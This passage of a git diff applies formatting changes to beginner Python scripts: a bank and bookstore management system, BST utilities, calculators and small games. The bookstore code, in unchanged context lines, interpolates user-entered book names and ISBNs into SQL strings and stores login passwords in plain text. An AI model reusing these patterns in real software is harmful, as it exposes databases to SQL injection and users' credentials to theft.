acc_no): - cur.execute("UPDATE bank SET balance = balance + ? WHERE acc_no = ?", (new_money, acc_no)) + cur.execute( + "UPDATE bank SET balance = balance + ? WHERE acc_no = ?", (new_money, acc_no) + ) conn.commit() + # Deduct balance def deduct_balance(new_money, acc_no): cur.execute("SELECT balance FROM bank WHERE acc_no = ?", (acc_no,)) bal = cur.fetchone() if bal and bal[0] >= new_money: - cur.execute("UPDATE bank SET balance = balance - ? WHERE acc_no = ?", (new_money, acc_no)) + cur.execute( + "UPDATE bank SET balance = balance - ? WHERE acc_no = ?", + (new_money, acc_no), + ) conn.commit() return True return False + # Get account balance def check_balance(acc_no): cur.execute("SELECT balance FROM bank WHERE acc_no = ?", (acc_no,)) bal = cur.fetchone() return bal[0] if bal else 0 + # Update customer details def update_name_in_bank_table(new_name, acc_no): cur.execute("UPDATE bank SET name = ? WHERE acc_no = ?", (new_name, acc_no)) conn.commit() + def update_age_in_bank_table(new_age, acc_no): cur.execute("UPDATE bank SET age = ? WHERE acc_no = ?", (new_age, acc_no)) conn.commit() + def update_address_in_bank_table(new_address, acc_no): cur.execute("UPDATE bank SET address = ? WHERE acc_no = ?", (new_address, acc_no)) conn.commit() + def update_mobile_number_in_bank_table(new_mobile_number, acc_no): - cur.execute("UPDATE bank SET mobile_number = ? WHERE acc_no = ?", (new_mobile_number, acc_no)) + cur.execute( + "UPDATE bank SET mobile_number = ? WHERE acc_no = ?", + (new_mobile_number, acc_no), + ) conn.commit() + def update_acc_type_in_bank_table(new_acc_type, acc_no): - cur.execute("UPDATE bank SET account_type = ? WHERE acc_no = ?", (new_acc_type, acc_no)) + cur.execute( + "UPDATE bank SET account_type = ? WHERE acc_no = ?", (new_acc_type, acc_no) + ) conn.commit() + # List all customers def list_all_customers(): cur.execute("SELECT * FROM bank") return cur.fetchall() + # Delete account def delete_acc(acc_no): cur.execute("DELETE FROM bank WHERE acc_no = ?", (acc_no,)) conn.commit() + # Show employees def show_employees(): cur.execute("SELECT name, salary, position FROM staff") return cur.fetchall() + # Get total money in bank def all_money(): cur.execute("SELECT SUM(balance) FROM bank") total = cur.fetchone()[0] return total if total else 0 + # Get employee details def show_employees_for_update(): cur.execute("SELECT * FROM staff") return cur.fetchall() + # Update employee details def update_employee_name(new_name, old_name): cur.execute("UPDATE staff SET name = ? WHERE name = ?", (new_name, old_name)) conn.commit() + def update_employee_password(new_pass, old_name): cur.execute("UPDATE staff SET pass = ? WHERE name = ?", (new_pass, old_name)) conn.commit() + def update_employee_salary(new_salary, old_name): cur.execute("UPDATE staff SET salary = ? WHERE name = ?", (new_salary, old_name)) conn.commit() + def update_employee_position(new_pos, old_name): cur.execute("UPDATE staff SET position = ? WHERE name = ?", (new_pos, old_name)) conn.commit() + # Get customer name and balance def get_detail(acc_no): cur.execute("SELECT name, balance FROM bank WHERE acc_no = ?", (acc_no,)) return cur.fetchone() + # Check if employee exists def check_name_in_staff(name): cur.execute("SELECT 1 FROM staff WHERE name = ?", (name,)) - return cur.fetchone() is not None \ No newline at end of file + return cur.fetchone() is not None diff --git a/bank_managment_system/frontend.py b/bank_managment_system/frontend.py index c885c2b37c3..f84903f3036 100644 --- a/bank_managment_system/frontend.py +++ b/bank_managment_system/frontend.py @@ -34,7 +34,6 @@ def delete_create(): and len(acc_type) != 0 and len(mobile_number) != 0 ): - acc_no = backend.create_customer( name, age, address, balance, acc_type, mobile_number ) @@ -655,7 +654,6 @@ def back_page2(): result = backend.check_acc_no(acc_no) print(result) if not result: - label = Label(search_frame, text="invalid account number") label.grid(pady=2) button = Button(search_frame, text="Exit", command=back_page2) @@ -877,7 +875,6 @@ def database_calling(): new_salary = entry19.get() r = check_string_in_account_no(new_salary) if len(new_salary) != 0 and r: - old_name = staff_name.get() backend.update_employee_salary(new_salary, old_name) entry19.destroy() @@ -900,7 +897,6 @@ def update_position_in_database(): def database_calling(): new_position = entry19.get() if len(new_position) != 0: - old_name = staff_name.get() backend.update_employee_position(new_position, old_name) entry19.destroy() @@ -977,7 +973,6 @@ def database_calling(): if len(name) != 0: result = backend.check_name_in_staff(name) if result: - update_that_particular_employee() else: label = Label(show_employee_frame, text="Employee not found") diff --git a/basic_cal.py b/basic_cal.py index 6629ad178db..a22093aef93 100644 --- a/basic_cal.py +++ b/basic_cal.py @@ -5,4 +5,4 @@ print("Invalid Input, try again..") # Simple Calculator using eval() in Python -# This calculator takes user input like "5+5" or "10/2" and shows the result. \ No newline at end of file +# This calculator takes user input like "5+5" or "10/2" and shows the result. diff --git a/billing.py b/billing.py index f6fb387101c..c0368a18e49 100644 --- a/billing.py +++ b/billing.py @@ -1,7 +1,7 @@ updated_billing -items= {"apple":5,"soap":4,"soda":6,"pie":7,"cake":20} -total_price=0 -try : +items = {"apple": 5, "soap": 4, "soda": 6, "pie": 7, "cake": 20} +total_price = 0 +try: print(""" Press 1 for apple Press 2 for soap @@ -11,23 +11,23 @@ Press 6 for bill""") while True: choice = int(input("enter your choice here..\n")) - if choice ==1: + if choice == 1: print("Apple added to the cart") - total_price+=items["apple"] + total_price += items["apple"] - elif choice== 2: + elif choice == 2: print("soap added to the cart") - total_price+= items["soap"] - elif choice ==3: + total_price += items["soap"] + elif choice == 3: print("soda added to the cart") - total_price+=items["soda"] - elif choice ==4: + total_price += items["soda"] + elif choice == 4: print("pie added to the cart") - total_price+=items["pie"] - elif choice ==5: + total_price += items["pie"] + elif choice == 5: print("cake added to the cart") - total_price+=items["cake"] - elif choice == 6: + total_price += items["cake"] + elif choice == 6: print(f""" Total amount :{total_price} @@ -67,4 +67,3 @@ The try-except block is used to catch errors if the user enters something that's not a number (like a letter or symbol). In that case, it simply shows: "enter only digits". """ - diff --git a/binary search.py b/binary search.py index cfad85df817..2cf464c8f20 100644 --- a/binary search.py +++ b/binary search.py @@ -1,23 +1,25 @@ -def binarySearchAppr (arr, start, end, x): -# check condition - if end >= start: - mid = start + (end- start)//2 - # If element is present at the middle - if arr[mid] == x: - return mid - # If element is smaller than mid - elif arr[mid] > x: - return binarySearchAppr(arr, start, mid-1, x) - # Else the element greator than mid - else: - return binarySearchAppr(arr, mid+1, end, x) - else: - # Element is not found in the array - return -1 -arr = sorted(['t','u','t','o','r','i','a','l']) -x ='r' -result = binarySearchAppr(arr, 0, len(arr)-1, x) +def binarySearchAppr(arr, start, end, x): + # check condition + if end >= start: + mid = start + (end - start) // 2 + # If element is present at the middle + if arr[mid] == x: + return mid + # If element is smaller than mid + elif arr[mid] > x: + return binarySearchAppr(arr, start, mid - 1, x) + # Else the element greator than mid + else: + return binarySearchAppr(arr, mid + 1, end, x) + else: + # Element is not found in the array + return -1 + + +arr = sorted(["t", "u", "t", "o", "r", "i", "a", "l"]) +x = "r" +result = binarySearchAppr(arr, 0, len(arr) - 1, x) if result != -1: - print ("Element is present at index "+str(result)) + print("Element is present at index " + str(result)) else: - print ("Element is not present in array") + print("Element is not present in array") diff --git a/binary_search_trees/delete_a_node_in_bst.py b/binary_search_trees/delete_a_node_in_bst.py index ecd096ef87e..8d144cba4ac 100644 --- a/binary_search_trees/delete_a_node_in_bst.py +++ b/binary_search_trees/delete_a_node_in_bst.py @@ -2,35 +2,36 @@ from inorder_successor import inorder_successor from tree_node import Node + # The above line imports the inorder_successor function from the inorder_successor.py file def delete_node(root: Node, val: int) -> Optional[Node]: """This function deletes a node with value val from the BST""" - + # Search in the right subtree if root.data < val: root.right = delete_node(root.right, val) - + # Search in the left subtree elif root.data > val: root.left = delete_node(root.left, val) - + # Node to be deleted is found else: # Case 1: No child (leaf node) if root.left is None and root.right is None: return None - + # Case 2: One child if root.left is None: return root.right - + # Case 2: One child elif root.right is None: return root.left - + # Case 3: Two children # Find the inorder successor is_node: Node = inorder_successor(root.right) root.data = is_node.data root.right = delete_node(root.right, is_node.data) - return root \ No newline at end of file + return root diff --git a/binary_search_trees/inorder_successor.py b/binary_search_trees/inorder_successor.py index bc02264b6ef..b7c341e50e9 100644 --- a/binary_search_trees/inorder_successor.py +++ b/binary_search_trees/inorder_successor.py @@ -1,12 +1,13 @@ from tree_node import Node + def inorder_successor(root: Node) -> Node: """This function returns the inorder successor of a node in a BST""" - + # The inorder successor of a node is the node with the smallest value greater than the value of the node current: Node = root - + # The inorder successor is the leftmost node in the right subtree while current.left is not None: current = current.left - return current \ No newline at end of file + return current diff --git a/binary_search_trees/inorder_traversal.py b/binary_search_trees/inorder_traversal.py index f49a10579a6..b63b01dbb28 100644 --- a/binary_search_trees/inorder_traversal.py +++ b/binary_search_trees/inorder_traversal.py @@ -1,18 +1,19 @@ from typing import Optional from tree_node import Node + def inorder(root: Optional[Node]) -> None: """This function performs an inorder traversal of a BST""" - + # The inorder traversal of a BST is the nodes in increasing order if root is None: return - + # Traverse the left subtree inorder(root.left) - + # Print the root node print(root.data) - + # Traverse the right subtree - inorder(root.right) \ No newline at end of file + inorder(root.right) diff --git a/binary_search_trees/insert_in_bst.py b/binary_search_trees/insert_in_bst.py index 772b34f6dde..8201261ae1b 100644 --- a/binary_search_trees/insert_in_bst.py +++ b/binary_search_trees/insert_in_bst.py @@ -1,18 +1,19 @@ from typing import Optional from tree_node import Node + def insert(root: Optional[Node], val: int) -> Node: """This function inserts a node with value val into the BST""" - + # If the tree is empty, create a new node if root is None: return Node(val) - + # If the value to be inserted is less than the root value, insert in the left subtree if val < root.data: root.left = insert(root.left, val) - + # If the value to be inserted is greater than the root value, insert in the right subtree else: root.right = insert(root.right, val) - return root \ No newline at end of file + return root diff --git a/binary_search_trees/main.py b/binary_search_trees/main.py index e8ac210a8b5..f2f618920e4 100644 --- a/binary_search_trees/main.py +++ b/binary_search_trees/main.py @@ -8,6 +8,7 @@ from validate_bst import is_valid_bst from tree_node import Node + def main() -> None: # Create a BST root: Optional[Node] = None @@ -18,57 +19,54 @@ def main() -> None: root = insert(root, 70) root = insert(root, 60) root = insert(root, 80) - + # Print the inorder traversal of the BST print("Inorder traversal of the original BST:") print_in_range(root, 10, 90) - + # Print the root to leaf paths print("Root to leaf paths:") print_root_to_leaf_paths(root, []) - + # Check if the tree is a BST print("Is the tree a BST:", is_valid_bst(root, None, None)) - - + # Delete nodes from the BST print("Deleting 20 from the BST:") if root is not None: root = delete_node(root, 20) - + # Print the inorder traversal of the BST print("Inorder traversal of the BST after deleting 20:") print_in_range(root, 10, 90) - + # Check if the tree is a BST print("Is the tree a BST:", is_valid_bst(root, None, None)) - - + # Delete nodes from the BST print("Deleting 30 from the BST:") if root is not None: root = delete_node(root, 30) - + # Print the inorder traversal of the BST after deleting 30 print("Inorder traversal of the BST after deleting 30:") print_in_range(root, 10, 90) - + # Check if the tree is a BST print("Is the tree a BST:", is_valid_bst(root, None, None)) - + # Delete nodes from the BST print("Deleting 50 from the BST:") if root is not None: root = delete_node(root, 50) - + # Print the inorder traversal of the BST after deleting 50 print("Inorder traversal of the BST after deleting 50:") print_in_range(root, 10, 90) - + # Check if the tree is a BST print("Is the tree a BST:", is_valid_bst(root, None, None)) - - + print("Searching for 70 in the BST:", search(root, 70)) print("Searching for 100 in the BST:", search(root, 100)) print("Inorder traversal of the BST:") @@ -78,5 +76,6 @@ def main() -> None: print("Inorder traversal of the mirror BST:") print_in_range(mirror_root, 10, 90) + if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/binary_search_trees/mirror_a_bst.py b/binary_search_trees/mirror_a_bst.py index ba2dfffab0a..579b7766092 100644 --- a/binary_search_trees/mirror_a_bst.py +++ b/binary_search_trees/mirror_a_bst.py @@ -1,18 +1,19 @@ from typing import Optional from tree_node import Node + def create_mirror_bst(root: Optional[Node]) -> Optional[Node]: """Function to create a mirror of a binary search tree""" - + # If the tree is empty, return None if root is None: return None - + # Recursively create the mirror of the left and right subtrees left_mirror: Optional[Node] = create_mirror_bst(root.left) right_mirror: Optional[Node] = create_mirror_bst(root.right) - + # Swap left and right subtrees root.left = right_mirror root.right = left_mirror - return root \ No newline at end of file + return root diff --git a/binary_search_trees/print_in_range.py b/binary_search_trees/print_in_range.py index 531fad2bc2e..351c81422f8 100644 --- a/binary_search_trees/print_in_range.py +++ b/binary_search_trees/print_in_range.py @@ -1,23 +1,28 @@ from typing import Optional from tree_node import Node + def print_in_range(root: Optional[Node], k1: int, k2: int) -> None: """This function prints the nodes in a BST that are in the range k1 to k2 inclusive""" - + # If the tree is empty, return if root is None: return - + # If the root value is in the range, print the root value if k1 <= root.data <= k2: print_in_range(root.left, k1, k2) print(root.data) print_in_range(root.right, k1, k2) - + # If the root value is less than k1, the nodes in the range will be in the right subtree elif root.data < k1: - print_in_range(root.right, k1, k2) # Fixed: original had left, which is incorrect + print_in_range( + root.right, k1, k2 + ) # Fixed: original had left, which is incorrect # If the root value is greater than k2, the nodes in the range will be in the left subtree else: - print_in_range(root.left, k1, k2) # Fixed: original had right, which is incorrect \ No newline at end of file + print_in_range( + root.left, k1, k2 + ) # Fixed: original had right, which is incorrect diff --git a/binary_search_trees/root_to_leaf_paths.py b/binary_search_trees/root_to_leaf_paths.py index 8c92d0a9dc8..ad30892886c 100644 --- a/binary_search_trees/root_to_leaf_paths.py +++ b/binary_search_trees/root_to_leaf_paths.py @@ -1,20 +1,21 @@ from typing import Optional, List from tree_node import Node + def print_root_to_leaf_paths(root: Optional[Node], path: List[int]) -> None: """This function prints all the root to leaf paths in a BST""" - + # If the tree is empty, return if root is None: return - + # Add the root value to the path path.append(root.data) if root.left is None and root.right is None: print(path) - + # Recursively print the root to leaf paths in the left and right subtrees else: print_root_to_leaf_paths(root.left, path) print_root_to_leaf_paths(root.right, path) - path.pop() \ No newline at end of file + path.pop() diff --git a/binary_search_trees/search_in_bst.py b/binary_search_trees/search_in_bst.py index 70e0c108572..c5675a6a558 100644 --- a/binary_search_trees/search_in_bst.py +++ b/binary_search_trees/search_in_bst.py @@ -1,18 +1,19 @@ from typing import Optional from tree_node import Node + def search(root: Optional[Node], val: int) -> bool: """This function searches for a node with value val in the BST and returns True if found, False otherwise""" - + # If the tree is empty, return False if root is None: return False - + # If the root value is equal to the value to be searched, return True if root.data == val: return True - + # If the value to be searched is less than the root value, search in the left subtree if root.data > val: return search(root.left, val) - return search(root.right, val) \ No newline at end of file + return search(root.right, val) diff --git a/binary_search_trees/tree_node.py b/binary_search_trees/tree_node.py index 78b3ba329f2..a34c0bf552e 100644 --- a/binary_search_trees/tree_node.py +++ b/binary_search_trees/tree_node.py @@ -1,8 +1,9 @@ from typing import Optional + # Node class for binary tree class Node: def __init__(self, data: int) -> None: self.data: int = data self.left: Optional[Node] = None - self.right: Optional[Node] = None \ No newline at end of file + self.right: Optional[Node] = None diff --git a/binary_search_trees/validate_bst.py b/binary_search_trees/validate_bst.py index 9cdb266ced0..186c8fbc039 100644 --- a/binary_search_trees/validate_bst.py +++ b/binary_search_trees/validate_bst.py @@ -1,20 +1,25 @@ from typing import Optional from tree_node import Node -def is_valid_bst(root: Optional[Node], min_node: Optional[Node], max_node: Optional[Node]) -> bool: + +def is_valid_bst( + root: Optional[Node], min_node: Optional[Node], max_node: Optional[Node] +) -> bool: """Function to check if a binary tree is a binary search tree""" - + # If the tree is empty, return True if root is None: return True - + # If the root value is less than or equal to the minimum value, return False if min_node is not None and root.data <= min_node.data: return False - + # If the root value is greater than or equal to the maximum value, return False if max_node is not None and root.data >= max_node.data: return False - + # Recursively check if the left and right subtrees are BSTs - return is_valid_bst(root.left, min_node, root) and is_valid_bst(root.right, root, max_node) \ No newline at end of file + return is_valid_bst(root.left, min_node, root) and is_valid_bst( + root.right, root, max_node + ) diff --git a/birthdays.py b/birthdays.py index 19ad2b001a2..cb67003d4ea 100644 --- a/birthdays.py +++ b/birthdays.py @@ -1,15 +1,14 @@ -birthdays = {'Alice': 'Apr 1', 'Bob': 'Dec 12', 'Carol': 'Mar 4'} +birthdays = {"Alice": "Apr 1", "Bob": "Dec 12", "Carol": "Mar 4"} while True: - - print('Enter a name: (blank to quit)') - name = input() - if name == '': - break - if name in birthdays: - print(birthdays[name] + ' is the birthday of ' + name) - else: - print('I do not have birthday information for ' + name) - print('What is their birthday?') - bday = input() - birthdays[name] = bday - print('Birthday database updated.') + print("Enter a name: (blank to quit)") + name = input() + if name == "": + break + if name in birthdays: + print(birthdays[name] + " is the birthday of " + name) + else: + print("I do not have birthday information for " + name) + print("What is their birthday?") + bday = input() + birthdays[name] = bday + print("Birthday database updated.") diff --git a/blackjack.py b/blackjack.py index 1cdac41bc43..b2386ff7828 100644 --- a/blackjack.py +++ b/blackjack.py @@ -90,7 +90,6 @@ def dealer_choice(): while sum(p_cards) < 21: - k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") if k == 1: random.shuffle(deck) diff --git a/bodymass.py b/bodymass.py index be37d0db0ef..bfc2c01e1ee 100644 --- a/bodymass.py +++ b/bodymass.py @@ -1,19 +1,19 @@ -kilo = float (input("kilonuzu giriniz(örnek: 84.9): ")) -boy = float (input("Boyunuzu m cinsinden giriniz: ")) +kilo = float(input("kilonuzu giriniz(örnek: 84.9): ")) +boy = float(input("Boyunuzu m cinsinden giriniz: ")) -vki = (kilo / (boy**2)) +vki = kilo / (boy**2) if vki < 18.5: print(f"vucut kitle indeksiniz: {vki} zayıfsınız.") elif vki < 25: - print (f"vucut kitle indeksiniz: {vki} normalsiniz.") + print(f"vucut kitle indeksiniz: {vki} normalsiniz.") elif vki < 30: - print (f"vucut kitle indeksiniz: {vki} fazla kilolusunuz.") + print(f"vucut kitle indeksiniz: {vki} fazla kilolusunuz.") elif vki < 35: - print (f"vucut kitle indeksiniz: {vki} 1. derece obezsiniz") + print(f"vucut kitle indeksiniz: {vki} 1. derece obezsiniz") elif vki < 40: - print (f"vucut kitle indeksiniz: {vki} 2.derece obezsiniz.") -elif vki >40: - print (f"vucut kitle indeksiniz: {vki} 3.derece obezsiniz.") + print(f"vucut kitle indeksiniz: {vki} 2.derece obezsiniz.") +elif vki > 40: + print(f"vucut kitle indeksiniz: {vki} 3.derece obezsiniz.") else: print("Yanlış değer girdiniz.") diff --git a/bookstore_manangement_system.py b/bookstore_manangement_system.py index 7ae31cb195b..9ef2809337b 100644 --- a/bookstore_manangement_system.py +++ b/bookstore_manangement_system.py @@ -16,7 +16,6 @@ def DBZ(): - # IF NO. OF BOOKS IS ZERO(0) THAN DELETE IT AUTOMATICALLY display = "select * from books" @@ -24,9 +23,7 @@ def DBZ(): data2 = mycur.fetchall() for y in data2: - if y[6] <= 0: - delete = "delete from books where Numbers_of_book<=0" mycur.execute(delete) mycon.commit() @@ -44,7 +41,6 @@ def end_separator(): def login(): - user_name = input(" USER NAME --- ") passw = input(" PASSWORD --- ") @@ -53,13 +49,10 @@ def login(): data2 = mycur.fetchall() for y in data2: - if y[1] == user_name and y[2] == passw: - pass else: - separator() print(" Username or Password is Incorrect Try Again") @@ -70,11 +63,9 @@ def login(): passw = input(" PASSWORD --- ") if y[1] == user_name and y[2] == passw: - pass else: - separator() print(" Username or Password is Again Incorrect") @@ -82,7 +73,6 @@ def login(): def ViewAll(): - print("\u0332".join("BOOK NAMES~~")) print("------------------------------------") @@ -92,21 +82,17 @@ def ViewAll(): c = 0 for y in data2: - c = c + 1 print(c, "-->", y[1]) def CNB1(): - if y[6] == 0: - separator() print(" NOW THIS BOOK IS NOT AVAILABLE ") elif y[6] > 0 and y[6] <= 8: - separator() print("WARNING!!!!!!!!!!!!!!!!!!!!!!!") @@ -116,7 +102,6 @@ def CNB1(): print() elif y[6] > 8: - separator() print("NO. OF BOOKS LEFT IS ", y[6] - 1) @@ -126,16 +111,13 @@ def CNB1(): def CNB2(): - if y[6] <= 8: - separator() print("WARNING!!!!!!!!!!!!!!!!!!!!!!!") print("NO. OF THIS BOOK IS LOW", "\tONLY", y[6], "LEFT") else: - separator() print("NO. OF BOOKS LEFT IS ", y[6]) @@ -151,18 +133,14 @@ def CNB2(): mycur.execute(display12) data2222 = mycur.fetchall() for m in data2222: - if m[0] == 0: - c = m[0] display11 = "select * from login" mycur.execute(display11) data222 = mycur.fetchall() if c == 0: - if c == 0: - print("\t\t\t\t REGESTER ") print("\t\t\t\t----------------------------") @@ -174,7 +152,6 @@ def CNB2(): lenght = len(passw) if lenght >= 8 and lenght <= 20: - c = c + 1 insert55 = (c, user_name, passw) insert22 = "insert into login values(%s,%s,%s)" @@ -186,9 +163,7 @@ def CNB2(): login() else: - if lenght < 8: - separator() print(" Password Is less than 8 Characters Enter Again") @@ -200,7 +175,6 @@ def CNB2(): lenght1 = len(passw2) if lenght1 >= 8 and lenght1 <= 20: - c = c + 1 insert555 = (c, user_name2, passw2) insert222 = "insert into login values(%s,%s,%s)" @@ -212,7 +186,6 @@ def CNB2(): login() elif lenght > 20: - separator() print( @@ -226,7 +199,6 @@ def CNB2(): lenght = len(passw) if lenght >= 8 and lenght >= 20: - c = c + 1 insert55 = (c, user_name, passw) insert22 = "insert into login values(%s,%s,%s)" @@ -242,9 +214,7 @@ def CNB2(): mycon.commit() elif m[0] == 1: - if m[0] == 1: - login() @@ -261,7 +231,6 @@ def CNB2(): while a == True: - # PROGRAM STARTED print(" *TO VIEW ALL ENTER 1") @@ -280,7 +249,6 @@ def CNB2(): # VIEW if choice == 1: - print() ViewAll() @@ -290,7 +258,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - end_separator() separator() @@ -300,7 +267,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -312,7 +278,6 @@ def CNB2(): # SEARCH / BUY if choice == 2: - book_name = input("ENTER BOOK NAME ---- ") separator() @@ -322,7 +287,6 @@ def CNB2(): data2 = mycur.fetchone() if data2 != None: - print("BOOK IS AVAILABLE") # BUY OR NOT @@ -336,7 +300,6 @@ def CNB2(): choice2 = int(input("ENTER YOUR CHOICE -- ")) if choice2 == 1: - # BUY 1 OR MORE separator() @@ -348,17 +311,13 @@ def CNB2(): choice3 = int(input("ENTER YOUR CHOICE -- ")) if choice3 == 1: - display = "select * from books" mycur.execute(display) data2 = mycur.fetchall() for y in data2: - if y[1] == book_name: - if y[6] > 0: - separator() u = ( @@ -383,7 +342,6 @@ def CNB2(): ).lower() if rep == "yes": - end_separator() separator() @@ -393,7 +351,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -401,7 +358,6 @@ def CNB2(): os._exit(0) if choice3 == 2: - separator() wb = int(input("ENTER NO. OF BOOKS -- ")) @@ -413,13 +369,9 @@ def CNB2(): data2 = mycur.fetchall() for y in data2: - if y[1] == book_name: - if wb > y[6]: - if y[6] > 0: - print("YOU CAN'T BUT THAT MUCH BOOKS") separator() @@ -437,7 +389,6 @@ def CNB2(): k = y[6] if choice44 == "y" or choice44 == "Y": - u2 = ( "update books set numbers_of_book=numbers_of_book -%s where name='%s'" % (k, book_name) @@ -458,11 +409,8 @@ def CNB2(): data2 = mycur.fetchall() for y in data2: - if y[1] == book_name: - if y[6] <= 8: - print( "WARNING!!!!!!!!!!!!!!!!!!!!!!!" ) @@ -484,7 +432,6 @@ def CNB2(): ).lower() if rep == "yes": - end_separator() separator() @@ -494,7 +441,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -502,7 +448,6 @@ def CNB2(): os._exit(0) elif choice44 == "n" or choice44 == "N": - print( "SORRY FOR INCONVENIENCE WE WILL TRY TO FULLFILL YOUR REQUIREMENT AS SOON AS POSSIBLE" ) @@ -516,7 +461,6 @@ def CNB2(): ).lower() if rep == "yes": - separator() DBZ() @@ -524,7 +468,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -532,7 +475,6 @@ def CNB2(): os._exit(0) elif y[6] == 0: - print( "SORRY NO BOOK LEFT WE WILL TRY TO FULLFILL YOUR REQUIREMENT AS SOON AS POSSIBLE" ) @@ -546,7 +488,6 @@ def CNB2(): ).lower() if rep == "yes": - separator() DBZ() @@ -554,7 +495,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -562,7 +502,6 @@ def CNB2(): os._exit(0) else: - u2 = ( "update books set numbers_of_book=numbers_of_book -%s where name='%s'" % (wb, book_name) @@ -581,9 +520,7 @@ def CNB2(): data2 = mycur.fetchall() for y in data2: - if y[1] == book_name: - CNB2() separator() @@ -593,7 +530,6 @@ def CNB2(): ).lower() if rep == "yes": - separator() DBZ() @@ -601,7 +537,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -609,7 +544,6 @@ def CNB2(): os._exit(0) else: - separator() print("NO BOOK IS BOUGHT") @@ -621,7 +555,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -629,7 +562,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -637,7 +569,6 @@ def CNB2(): os._exit(0) else: - separator() print("SORRY NO BOOK WITH THIS NAME EXIST / NAME IS INCORRECT") @@ -649,7 +580,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -657,7 +587,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -667,13 +596,11 @@ def CNB2(): # ADDING BOOK if choice == 3: - q10 = int(input("ENTER NO. OF BOOKS TO ADD -- ")) separator() for k in range(q10): - SNo10 = int(input("ENTER SNo OF BOOK -- ")) name10 = input("ENTER NAME OF BOOK --- ") author10 = input("ENTER NAME OF AUTHOR -- ") @@ -687,13 +614,11 @@ def CNB2(): data20 = mycur.fetchone() if data20 != None: - print("This ISBN Already Exists") os._exit(0) else: - insert = (SNo10, name10, author10, year10, ISBN10, price10, nob10) insert20 = "insert into books values(%s,%s,%s,%s,%s,%s,%s)" mycur.execute(insert20, insert) @@ -708,7 +633,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -716,7 +640,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -726,7 +649,6 @@ def CNB2(): # UPDATING BOOK if choice == 4: - choice4 = input("ENTER ISBN OF BOOK -- ") separator() @@ -736,7 +658,6 @@ def CNB2(): data2 = mycur.fetchone() if data2 != None: - SNo1 = int(input("ENTER NEW SNo OF BOOK -- ")) name1 = input("ENTER NEW NAME OF BOOK --- ") author1 = input("ENTER NEW NAME OF AUTHOR -- ") @@ -758,7 +679,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -766,7 +686,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -774,7 +693,6 @@ def CNB2(): os._exit(0) else: - print("SORRY NO BOOK WITH THIS ISBN IS EXIST / INCORRECT ISBN") print() @@ -785,7 +703,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -793,7 +710,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -803,20 +719,17 @@ def CNB2(): # DELETING A BOOK if choice == 5: - ISBN1 = input("ENTER ISBN OF THAT BOOK THAT YOU WANT TO DELETE -- ") display = "select * from books where ISBN='%s'" % (ISBN1) mycur.execute(display) data2 = mycur.fetchone() if data2 != None: - separator() choice5 = input("ARE YOU SURE TO DELETE THIS BOOK ENTER Y/N -- ") if choice5 == "Y" or choice5 == "y": - separator() ISBN2 = input("PLEASE ENTER ISBN AGAIN -- ") @@ -836,7 +749,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -844,7 +756,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -852,7 +763,6 @@ def CNB2(): os._exit(0) else: - separator() print("NO BOOK IS DELETED") @@ -865,7 +775,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -873,7 +782,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -881,7 +789,6 @@ def CNB2(): os._exit(0) else: - separator() print("SORRY NO BOOK WITH THIS ISBN AVAILABLE / ISBN IS INCORRECT") @@ -894,7 +801,6 @@ def CNB2(): rep = input("Do You Want To Restart ?? yes / no -- ").lower() if rep == "yes": - separator() DBZ() @@ -902,7 +808,6 @@ def CNB2(): continue else: - end_separator() DBZ() @@ -912,7 +817,6 @@ def CNB2(): # CLOSE if choice == 6: - exit() os._exit(0) @@ -926,9 +830,7 @@ def CNB2(): for y in data2: - if y[6] <= 0: - delete = "delete from books where Numbers_of_book<=0" mycur.execute(delete) mycon.commit() diff --git a/brickout-game/brickout-game.py b/brickout-game/brickout-game.py index c212be6a634..40aa05f001d 100644 --- a/brickout-game/brickout-game.py +++ b/brickout-game/brickout-game.py @@ -1,11 +1,11 @@ """ Pygame base template for opening a window - + Sample Python/Pygame Programs Simpson College Computer Science http://programarcadegames.com/ http://simpson.edu/computer-science/ - + Explanation video: http://youtu.be/vRB_983kUMc ------------------------------------------------- @@ -345,7 +345,6 @@ def collide(self, ball): are both in the same section. """ if gameStatus: - # first draws ball for appropriate displaying the score. brickWall.draw() diff --git a/calc_area.py b/calc_area.py index 7f35917c746..cf7f259e046 100644 --- a/calc_area.py +++ b/calc_area.py @@ -11,7 +11,7 @@ def main(): ) if shape == 1: side = float(input("Enter length of side: ")) - print("Area of square = " + str(side ** 2)) + print("Area of square = " + str(side**2)) elif shape == 2: l = float(input("Enter length: ")) b = float(input("Enter breadth: ")) diff --git a/calci.py b/calci.py index e147d3d4269..21d9ace5233 100644 --- a/calci.py +++ b/calci.py @@ -1,4 +1,4 @@ a = int(input("enter first value")) b = int(input("enter second value")) -add = a+b -print(add) \ No newline at end of file +add = a + b +print(add) diff --git a/calculator-gui.py b/calculator-gui.py index e0a0ea5a28d..fa9befa47f0 100755 --- a/calculator-gui.py +++ b/calculator-gui.py @@ -173,7 +173,6 @@ def press_equal(self): "Second Number", "Please Enter Second Number To Perform Calculation" ) else: - 